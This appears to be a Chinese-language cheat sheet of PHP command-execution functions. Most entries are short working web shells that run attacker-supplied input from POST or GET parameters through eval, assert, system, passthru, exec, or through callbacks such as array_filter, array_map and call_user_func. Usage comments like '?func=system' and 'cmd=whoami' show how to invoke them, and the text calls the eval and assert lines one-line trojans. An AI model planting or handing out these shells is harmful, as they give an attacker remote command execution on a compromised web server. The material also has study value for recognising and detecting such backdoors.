php_exec

array_filter

<?php 
$cmd=$_POST['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);

//用回调函数过滤数组中的元素：array_filter(数组,函数)
//?func=system
//cmd=whoami
?>

array_filter就是让每一个数组里面的成员都执行一遍回到函数，这个可以考虑python 的map

array_map

<?php
$func=$_GET['func'];
$cmd=$_POST['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
echo $new_array;
//array_map() 函数将用户自定义函数作用到数组中的每个值上，并返回用户自定义函数作用后的带有新值的数组。
?>

和array_filter一样的

assert

<?php @assert($_POST['cmd'])?>

这个就是一句话木马

只不过这个我们得使用system等函数

而且需要注意有一些函数他不返回结果的(exec,shell_exec)

但是会被执行

call_user_func_array

<?php 
$cmd=$_POST['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
//将传入的参数作为数组的第一个值传递给assert函数
//cmd=system(whoami)
?>

call_user_func.php

<?php
call_user_func("assert",$_POST['cmd']);
//传入的参数作为assert函数的参数
//cmd=system(whoami)
?>

eval

一句话木马不多说

<?php @eval($_POST['cmd']);?>

exec

这个函数不会输出浏览器

<?php
// 输出运行中的 php/httpd 进程的创建者用户名
// （在可以执行 "whoami" 命令的系统上）
//echo exec('whoami');
//exec('whoami', $return);
//var_dump($return);

$cmd=$_POST['cmd'];
@exec($cmd, $return);
var_dump($return);
?>

就和system 是一个效果

passthru.php

<?php
$post = $_POST['cmd'];
$output = passthru($post);
echo "$output";

popen

<?php
$fd = popen("whoami", 'r');
$ret = fgets($fd);
print($ret);

// $fd = popen("systeminfo > D:\\1.txt", 'r');
// pclose($fd);
// print(fgets(fopen("d:\\1.txt",'r')));
// $handle = fopen("D:\\1.txt", "r");
// $contents = fread($handle, 100000);
// fclose($handle);
// echo "<pre>$contents</pre>";

// $fd = popen("ipconfig",'r');
// while($s=fgets($fd)){
// 	echo "<pre>$s</pre>";
// }
?>

shell_exec.php

<?php
$output = shell_exec('ls -lart');
echo "<pre>$output</pre>";
?>

system

<?php
echo '<pre>';

// 输出 shell 命令 "ls" 的返回结果
// 并且将输出的最后一样内容返回到 $last_line。
// 将命令的返回值保存到 $retval。
$last_line = system('ls', $retval);

// 打印更多信息
echo '
</pre>
<hr />Last line of the output: ' . $last_line . '
<hr />Return value: ' . $retval;
?>